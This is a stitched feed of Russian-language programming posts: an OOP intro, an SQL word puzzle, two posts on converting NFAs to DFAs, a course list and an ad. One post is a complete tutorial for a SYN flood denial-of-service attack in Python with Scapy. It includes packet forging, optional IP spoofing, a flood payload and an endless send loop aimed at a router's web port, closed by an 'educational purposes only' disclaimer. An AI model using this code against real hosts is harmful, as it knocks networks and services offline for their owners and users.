Что такое ООП в простых словах(с примерами на пайтон)
Задумался недавно об ООП и вспомнил как я его учил..Не так долго, но годной инфы на тот момент не замечал, вот и решил хоть как то объяснить это другим на моем непонятном языке:)
Начнем с определения
Объектно-ориентированное программирование (ООП) — это такой подход к написанию программ, основанный на концепции "объектов" или "предметов".Объекты объединяют данные и методы (функции), которые могут с ними взаимодействовать.
Пример на пайтон
Здесь `Животное` - это базовый класс, а `Собака` и `Кот` - его подклассы. Каждый класс имеет свою переменную (`self.имя`) и метод `голос`, который может быть переопределен под конкретное животное
Более простым языком:
Код с пометкой "def" это функция, которую позже в коде можно вызвать с помощью ее имени
У каждого класса есть свое имя.И у каждой функции есть свое имя.
Ниже в коде можно увидеть вызов функций разных классов
Ещё могу сказать про дочерние классы
В ООП есть принцип наследования в котором один класс наследует что то из другого как в классах Кот и Собака они наследуют от Животное
Если я что то неправильно сказал пожалуйста исправьте меня:), а я знаю что, что то в выше написанном тексте может быть не правильным
На этом могу сказать все
Желаю всем удачи в изучении программирования
P.S. буду рад любой критике
Как подготовить машину к долгой поездке
Взять с собой побольше вкусняшек, запасное колесо и знак аварийной остановки. А что сделать еще — посмотрите в нашем чек-листе. Бонусом — маршруты для отдыха, которые можно проехать даже в плохую погоду.
ФИЛВОРД на тему SQL
Здравствуйте, друзья! Всем хорошей пятницы и завершения рабочей (или учебной) недели.
В это раз решил подготовить филворд по SQL! В этих клеточках я спрятал 26 слов. И все они являются командами, операторами, функциями или ключевыми словами языка SQL. Слова написаны только вертикально и горизонтально. Одно слово не может менять направление. Вот и все правила.
Буду рад Вашему если примите участие в разгадывании моего филворда с ключевыми словами по SQL. Решение опубликую через несколько дней!
Как осуществить атаку SYN Flooding в Python
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
pip3 install scapy
▪Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *
▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
Отлично!
▪Теперь сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
Информация предоставлена исключительно для ознакомительных целей!
Преобразование НКА в ДКА, один из алгоритмов
Предыдущая статья: Обещанная реализация КА и попытка создать таблицу переходов не детерминированному автомату. в vk.com
Что же давайте, ещё раз обратимся к нашему НКА и всё таки составим таблицу, в которую будем вписывать не к какому состоянию требуется перейти, а в какое состояние мы можем перейти, будем заполнять множеством состояний. Предоставляю граф и таблицу:
Символ Ø обозначает, что наш автомат завершил работу и более не принимает символов. Если мы продолжаем читать из потока, тогда нам следует перезапустить автомат для обработки уже следующей цепочки.
Приступим к алгоритму. Построим новый автомат на базе состояний нашего НКА. Состояния нового автомата будут иметь названия составляющие все возможные сочетания из множества состояний НКА по k, где k у нас будет меняться от 1 до максимального кол-ва. То есть в нашем случае до 3 из множество {S, B, K } это S, B, K, SB, SK, BK, SBK.
Состояния нового автомата в чьи имена попали, обозначения конечного состояния НКА, тоже становятся конечными: K, SK, BK, SBK. А начальное состояние не меняется S.
Теперь нам остаётся задать переходы по каждому символу, соблюдая следующее: Из каждого состояния N нового автомата направим не более чем один переход, помеченный данным символом, в такое состояние, которое соответствует множеству состояний НКА, в которые есть переходы по этому символу хотя бы из одного состояния НКА, образующего N.
Вот так:
Давайте построим для него граф:
У нас получился ДКА, только в нём есть состояния в которые мы никогда не попадём. Поэтому данный ДКА следует минимизировать, алгоритма минимизации возможно коснусь в последующих статьях. Но можно выделить две вещи, когда следует минимизировать ДКА, когда у нас «мертвые» состояния и когда состояния повторяют одно и то же действие. Вот так будет выглядеть результат минимизация получившегося ДКА:
Переименуйте BK в B и узнаете уже рассмотренный нами ДКА.
З. Ы. Для построения графов в этот раз использовал эти инструменты https://www.graphviz.org/download/ и можно web-версию использовать http://www.webgraphviz.com/. Следующая статья будет посвящена синтаксическим диаграммам автоматного языка. Не забывайте подписываться, если вам это интересно.=)
Обещанная реализация КА и попытка создать таблицу переходов не детерминированному автомату
Предыдущая статья: Конечные автоматы, что там внутри? в vk.com
Как-то никто не голосует, поэтому решил выпустить раньше, язык реализации выбрал на своё усмотрение, посмотреть можно здесь. Пример основан на автомате из прошлой статьи.
Давайте попробуем создать таблицу переходов для этого автомата:
Как-то не особо получается верно? Нам не совсем-то понятно когда переходить в состояние K, мы как-будто застряли в неопределенности. Когда приняли символ a оставаться в состоянии B или переходить уже к другому? Данные типы автоматов называются не детерминированные конечные автоматы или просто НКА, они обладают особой приметой, то что на один и тот же принятый символ в одном состоянии есть более одного варианта перехода. И всё таки мы можем написать для него функцию перехода, добавив какие нибудь условия, например проверять не последний ли это символ. Что же получается я слукавил в прошлый раз? И да и нет, жертва для более наглядного, постепенного объяснения. Да - потому-что функцию перехода можно реализовать разными способами. Нет - потому-что это частный случай реализации детерминированных конечных автоматов или просто ДКА, когда каждый его переход однозначен. ДКА - гораздо эффективнее НКА и у меня хорошие новости:
Теорема Клини. Для каждого НКА можно построить ДКА, допускающий тот же язык.
В следующей статье мы рассмотрим алгоритм преобразования НКА в ДКА, не забывайте подписываться. Все здоровья и удачи.
Топ интересных бесплатных курсов онлайн. Не только IT, разные темы
Во время карантина многие начали усиленно учиться и смотреть различные материалы. Сейчас эта тема отошла на второй план. Но я знаю, что некоторые люди именно благодаря бесплатным курсам сначала пробуют профессию и понимают свои силы и перспективы, а потом начинают что-то уже глобальнее и активнее изучать. Поэтому в этой подборке я собрала бесплатные курсы для взрослых и школьников.
Как учиться
Софт-скиллы, навыки, лидерство, MBA
Мода, Fashion
Психология
Маркетинг, продажи, переговоры
Кино, видеосъёмка, монтаж
Программирование, дизайн
Английский
Школьникам
СОХРАНЯЙТЕ СЕБЕ И ДЕЛИТЕСЬ С ДРУЗЬЯМИ.